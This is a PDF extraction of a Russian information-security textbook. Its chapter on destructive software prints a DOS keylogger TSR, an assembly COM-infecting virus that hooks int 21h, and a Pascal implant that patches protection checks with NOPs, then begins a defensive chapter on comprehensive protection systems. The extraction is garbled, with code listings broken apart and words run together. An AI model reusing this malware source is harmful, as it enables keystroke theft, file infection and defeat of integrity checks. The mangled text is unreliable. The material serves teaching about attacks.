Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Методы и средства защиты информации

.pdf
Скачиваний:
198
Добавлен:
03.03.2016
Размер:
5.1 Mб
Скачать

Разрушающиепрограммныесредства 261

TSRCrap;

end;

end;

CLI;

EndInt;

STI;

end;

procedure Int28TSR; interrupt; begin

CLI;

BeginInt;

STI;

if NeedPop = True Then TSRCrap; CLI;

EndInt;

STI;

end;

procedure New9h;interrupt;

{ Новый обработчик прерывания 9h }

var

: Word absolute $40 : $1C;

Tail

B:Boolean; begin

B := Port[$60]<$80; inline($9C);

Old9h; { Вызов старого обработчика } if B and (Lo(MemW[$40:Tail])<>0) then

Окончание листинга 14.1

begin Inc(CBuf);

if CBuf > 255 Then CBuf := 255; KBuf[CBuf]:=Lo(MemW[$40:Tail]); { Cохранение клавиши в буфе-

ре } end;

end;

procedure InitTSR; begin

NewSS := SSeg; inline($89/$26/NewSP); R.AH := $34;

262 Глава 14. Методы и средства разрушения информации

MsDos(R);

DOSSeg := R.ES; DOSOfs := R.BX;

end;

begin InitTSR;

CBuf := 0;

FillChar(KBuf,SizeOf(KBuf),0);

WaitBuf

:= 5;

{ Задержка (сек) перед отправкой буфера в файл.}

NeedPop

:=

False;

Tick

:=

0;

 

GetIntVec($9,@Old9h);

SetIntVec($9,@New9h);

SetIntVec($28,@Int28TSR);

SetIntVec($1C,@RunTSR); Keep(0);

end.

Перехват и обработка файловых операций

Программное средство защиты информации ( ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.

Активизирующим событием в данном случае является, как правило, открытие файла (int 21h, функция 3Dh), либо его закрытие.

Таким образом, закладка порождаетв системе“исходный файл — ПСЗИ — выходнойфайл” новыесвязи, включаяв них свои операциии массивыданных.

Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int 21h для следующих функций.

Открытие файла (функция 3Dh). Закладка отфильтровывает нужные имена или дескрипторы файлов.

Чтение из файла (функция 3Fh). Закладка выполняет прерывание по старому адресу указателя, затем сохраняет считанный буфер в собственный, обычно скрытый файл, либо исправляет в буфере некоторые байты файла, кроме того возможно влияние на результаты операции чтения. Данные дей-

Разрушающиепрограммныесредства 263

ствия особенно опасны для программ подтверждения подлинности электронных документов (электронная подпись).

Запись в файл (функция 40h). Закладка редактирует нужным образом буфер

воперативной памяти, либо сохраняет файл или часть его в скрытую область, а затем выполняет старое прерывание, в результате чего записывается файл с измененным содержанием, либо каким-то образом дублированный

вскрытой области. Закладки такого типа могут навязывать истинность электронной подписи даже тогда, когда файл был изменен.

В листинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COM своим кодом.

Листинг 14.2. Пример перехвата файловых операций для выполнения несанкционированной записи в файл

.model tiny

.code org 100h

start: push si push si mov es,bx

mov di,2B0h cli

cmpsb

jz loc_2 dec si dec di

Продолжение листинга 14.2

mov cl,50h rep movsb mov si,21h*4

push si

movs word ptr es:[di],word ptr es:[si] movs word ptr es:[di],word ptr es:[si] pop di

mov al,2Bh stosw stosw

loc_2: pop di

lea si,[di+50h] mov cx,sp

264 Глава 14. Методы и средства разрушения информации

sub cx,si push cs pop es rep movsb retn

; новый обработчик 21-го прерывания

cmp ah,3Ch

;

функция создания файла ?

jne loc_5

;

если нет — на выход

int 0C0h ;

 

если (2B0h+50h)/4 = 0C0h, т.е. адрес

;

 

старого обработчика int 21h

push ax

 

 

xchg bx,ax

; si = dx

 

mov si,dx

 

locloop_3:

 

 

dec si

 

 

lodsw

 

 

cmp ax,'mo'

 

 

loopnz locloop_3 jnz loc_4

push ds push cs pop ds

mov ah,40h mov cl,50h cwd

int 21h pop ds

Окончание листинга 14.2

loc_4: pop ax clc retf 2

loc_5: db 0EAh int 20h

end start

Разрушение программы защиты и схем контроля

Разрушающиепрограммныесредства 265

Допустим, что злоумышленнику известна интересующая его программа с точностью до команд реализации на конкретном процессоре. Следовательно, возможно смоделировать процесс ее загрузки и выяснить адреса частей программы относительно сегмента оперативной памяти, в которой она загружается.

Это означает, что возможно произвольное изменение кода программы и обеспечение отклонения ( как правило, негативного характера) в работе прикладной программы.

Тогда алгоритм действия закладки может быть следующим.

1.Закладка загружается в память каким-либо образом.

2.Закладка осуществляет перехват ( редактирование цепочки) одного или нескольких прерываний:

прерывание DOS “ запуск программ и загрузка оверлеев” (int 21h, функция 4Bh);

прерывание BIOS “считать сектор” (int 13h, функция 02h);

прерывание от системного таймера (int 08h).

3.По одному из трех событий закладка получает управление на свой код и далее выполняет следующие операции:

проверка принадлежности запущенной программы или уже работающей (для таймерного прерывания) к интересующим программам;

определение сегмента, в который загружена программа;

запись относительно определенного сегмента загрузки некоторых значений в оперативную память так, чтобы отключить схемы контроля и ( или) исправить программу нужным образом.

Принципиальная возможность исправления кода следует из того, что вывод о правильности работы программы делается на основе операций сравнения в арифметико-логическом устройстве процессора.

Сравнение результатов работы выполняется командой CMP, а результат сравнения изменяет один или несколько бит регистра флагов. Следовательно, того же результата можно добиться, изменив эти биты в одной из команд работы с регистром флагов типа CLD, CLS, LAHF и т.д.

Наконец, возможен случай, когда содержательный код программы защиты вместе со схемой контроля будет удален из памяти полностью и все последующие операции будут выполнены без влияния программы защиты.

Таким образом, анализируя в данном случае действия закладки, необходимо считать возможным любые искажения кода программ.

Основным способом активизации разрушающих закладок является запуск ассоциированных с ними программ. При этом закладка получает управление первой и выполняет какие-либо действия (изменение адресов прерывания на собственные обработчики, исправление в коде программ защиты и т.д.).

266 Глава 14. Методы и средства разрушения информации

Листинг 14.3. Пример закладки, разрушающей схему контроля

{$M 1024,0,0}

 

 

{$I-}

 

 

uses

 

 

Dos;

 

 

const

{ Адреса ячеек, подлежащих модификации, }

CMPSeg=$2E7F;

CMPOfs=12;

{ указанные относительно PSP

}

JMPSeg=$2EA4;

 

 

JMPOfs=2;

 

 

var

 

 

DOSSeg, DOSOfs, Psp:word; OldInt8h:pointer;

procedure Int8h; interrupt; begin

if (Psp=PrefixSeg) then begin

if(Mem[DOSSeg:DOSOfs]=0) then asm

mov ah, 62h int 21h

mov Psp, bx end;

end else begin

MemW[CMPSeg+Psp:CMPOfs]:=$9090; { Запись NOP вместо CMP } MemW[JMPSeg+Psp:JMPOfs]:=$9090; { Запись NOP вместо JMP }

Окончание листинга 14.3

end; asm

pushf

call dword ptr OldInt8h end;

end; begin

asm

mov ah, 34h int 21h

mov DOSOfs, bx mov DOSSeg, es

Разрушающиепрограммныесредства 267

end;

Psp:=PrefixSeg; GetIntVec(8, OldInt8h); SwapVectors; SetIntVec(8, @Int8h); Exec('SECURED.EXE', ''); SetIntVec(8, OldInt8h); SwapVectors;

end.

ЧАСТЬ

ЗАЩИТА ИНФОРМАЦИИ

Глава 15

Подходы к созданию комплексной системы защиты информации

Для рассмотрения проблемы ЗИ в общем виде выделим в ее предметной области три следующие иерархии: структурную, причинно-следственную и функциональную.

Способы ЗИ зависят от типа информации, формы ее хранения, обработки и передачи, типа носителя информации, а также предполагаемого способа нападения и последствий его по влиянию на информацию (копирование, искажение, уничтожение).

В основном владелец информации не знает где, когда и каким образом будет осуществлено нападение, поэтому ему необходимо обнаружить сам факт нападения.

Определение потенциальной ценности информации позволяет подумать в первую очередь о безопасности наиболее важных секретов, утечка которых способна нанести ущерб. При этом важно установить.

1.Какая информация нуждается в защите?

2.Кого она может интересовать?

3.Какие элементы информации наиболее ценные?

4.Каков “срок жизни” этих секретов?

5.Во что обойдется их защита?

Опыт применения систем ЗИ (СЗИ) показывает, что эффективной может быть лишь комплексная система защиты информации (КСЗИ), сочетающая сле-

дующие меры.

1.Законодательные. Использование законодательных актов, регламентирующих права и обязанности физических и юридических лиц, а также государства в области ЗИ.

2.Морально-этические. Создание и поддержание на объекте такой моральной атмосферы, в которой нарушение регламентированных правил поведения оценивалось бы большинством сотрудников резко негативно.

3.Физические. Создание физических препятствий для доступа посторонних лиц к охраняемой информации.

270 Глава 15. Подходы к созданию комплексной системы защиты информации

4.Административные. Организация соответствующего режима секретности, пропускного и внутреннего режима.

5.Технические. Применение электронных и других устройств для ЗИ.

6.Криптографические. Применение шифрования и кодирования для сокрытия обрабатываемой и передаваемой информации от несанкционированного доступа.

7.Программные. Применение программных средств разграничения доступа.

Обоснованный выбор требуемого уровня защиты информации является системообразующей задачей, поскольку как занижение, так и завышение уровня неизбежно ведет к потерям. При этом в последнее время роль данного вопроса резко возросла в связи с тем, что, во-первых, теперь в число защищаемых помимо военных, государственных и ведомственных, включены также секреты промышленные, коммерческие и даже личные, а во-вторых, сама информация все больше становиться товаром. Таким образом, для оценки информации необходимы показатели двух видов:

характеризующие информацию как ресурс, обеспечивающий деятельность общества;

характеризующие информацию как объект труда.

Показатели первого вида носят прагматический характер. К ним относят важность, значимость с точки зрения тех задач, для решения которых используется оцениваемая информация; полнота информации для информационного обеспечения решаемых задач; адекватность, т.е. соответствие текущему состоянию соответствующих объектов или процессов; релевантность информации и ее толерантность.

Показателивторого вида должны характеризоватьинформациюкак объект труда, над которымосуществляютсянекоторыепроцедурыв процессепереработки ее с целью информационногообеспечениярешаемых задач. К ним относятся: эффективностькодированияинформациии ее объем. Методыопределенияэтих показателейдостаточнополно разработаныв теорииинформации.

Показатели оценки информации как ресурса

Важность информации должна оцениваться по двум группам критериев

(рис. 15.1):

по назначению информации;

по условиям ее обработки.

В первой группе следует выделить два критерия:

важность самих задач для обеспечения деятельности,